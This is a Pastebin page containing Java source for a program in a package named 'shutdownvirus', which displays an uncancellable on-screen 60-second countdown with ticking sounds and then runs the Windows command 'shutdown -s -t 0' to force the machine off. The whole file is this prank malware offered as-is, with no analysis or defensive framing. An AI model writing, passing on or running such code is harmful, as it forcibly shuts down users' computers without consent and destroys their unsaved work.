Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.vitex.shutdownvirus;
- import java.awt.Color;
- import java.awt.Dimension;
- import java.awt.Font;
- import java.awt.Graphics;
- import java.awt.Graphics2D;
- import java.awt.RenderingHints;
- import java.awt.event.ActionEvent;
- import java.awt.event.ActionListener;
- import java.io.File;
- import java.io.IOException;
- import javax.sound.sampled.AudioSystem;
- import javax.sound.sampled.Clip;
- import javax.sound.sampled.LineUnavailableException;
- import javax.sound.sampled.UnsupportedAudioFileException;
- import javax.swing.JPanel;
- import javax.swing.JWindow;
- import javax.swing.Timer;
- public class Counter extends JPanel implements ActionListener {
- private static final long serialVersionUID = -2720521383048783732L;
- private final Font font = new Font("Impact", Font.PLAIN, 72);
- private final File sound = new File("sound/tick.wav");
- private Timer timer;
- private int time;
- public Counter() {
- setOpaque(false);
- setPreferredSize(new Dimension(400, 400));
- time = 60;
- timer = new Timer(1000, this);
- timer.start();
- }
- @Override
- public void paintComponent(Graphics graphics) {
- super.paintComponent(graphics);
- Graphics2D graphics2D = (Graphics2D) graphics;
- graphics2D.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_ON);
- graphics2D.setFont(font);
- graphics2D.setColor(Color.green);
- String text = "00:" + String.valueOf(time);
- int width = graphics.getFontMetrics().stringWidth(text);
- graphics2D.drawString(text, getWidth() / 2 - width / 2, getHeight() / 2);
- }
- @Override
- public void actionPerformed(ActionEvent arg0) {
- time--;
- if (time == 0) {
- shutdown();
- }
- repaint();
- playSound();
- }
- private void shutdown() {
- try {
- Runtime runtime = Runtime.getRuntime();
- runtime.exec("shutdown -s -t 0");
- System.exit(0);
- } catch(IOException e) {
- e.printStackTrace();
- }
- }
- private void playSound() {
- try {
- Clip clip = AudioSystem.getClip();
- clip.open(AudioSystem.getAudioInputStream(sound));
- clip.start();
- } catch(LineUnavailableException | IOException | UnsupportedAudioFileException e) {
- e.printStackTrace();
- }
- }
- public static void main(String[] args) {
- JWindow window = new JWindow();
- window.add(new Counter());
- window.pack();
- window.setBackground(new Color(0, 0, 0, 0));
- window.setLocationRelativeTo(null);
- window.setVisible(true);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement